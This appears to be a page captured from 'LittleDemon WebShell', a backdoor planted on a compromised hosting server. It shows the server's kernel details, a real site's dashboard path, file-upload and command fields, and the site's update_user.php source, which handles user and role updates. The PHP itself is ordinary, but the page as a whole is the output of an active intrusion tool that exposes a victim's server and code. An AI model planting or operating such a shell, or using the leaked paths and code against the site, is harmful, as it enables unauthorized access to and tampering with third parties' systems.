LittleDemon WebShell


Linux in-mum-web1499.main-hosting.eu 5.14.0-503.40.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Mon May 5 06:06:04 EDT 2025 x86_64
Path : /home/u901718425/domains/task.urbanpillar.in/public_html/dashboard/
File Upload :
Command :
Current File : /home/u901718425/domains/task.urbanpillar.in/public_html/dashboard/update_user.php

<?php
require_once "../db.php";

$response = ["success" => false];

try {
    $id        = $_POST['id'];
    $username  = $_POST['user_name'];
    $email     = $_POST['email'];
    $role      = $_POST['role'];
    $password  = $_POST['password'];

    if (!$id || !$username || !$email || !$role) {
        throw new Exception("All fields except password are required");
    }

    if (!empty($password)) {
        $hashed = password_hash($password, PASSWORD_BCRYPT);
        $stmt = $conn->prepare("UPDATE users SET user_name = ?, email = ?, password = ?, role = ? WHERE id = ?");
        $stmt->bind_param("ssssi", $username, $email, $hashed, $role, $id);
    } else {
        $stmt = $conn->prepare("UPDATE users SET user_name = ?, email = ?, role = ? WHERE id = ?");
        $stmt->bind_param("sssi", $username, $email, $role, $id);
    }

    if ($stmt->execute()) {
        $response["success"] = true;
    } else {
        throw new Exception("Database error");
    }

} catch (Exception $e) {
    $response["message"] = $e->getMessage();
}

echo json_encode($response);

LittleDemon - FACEBOOK
[ KELUAR ]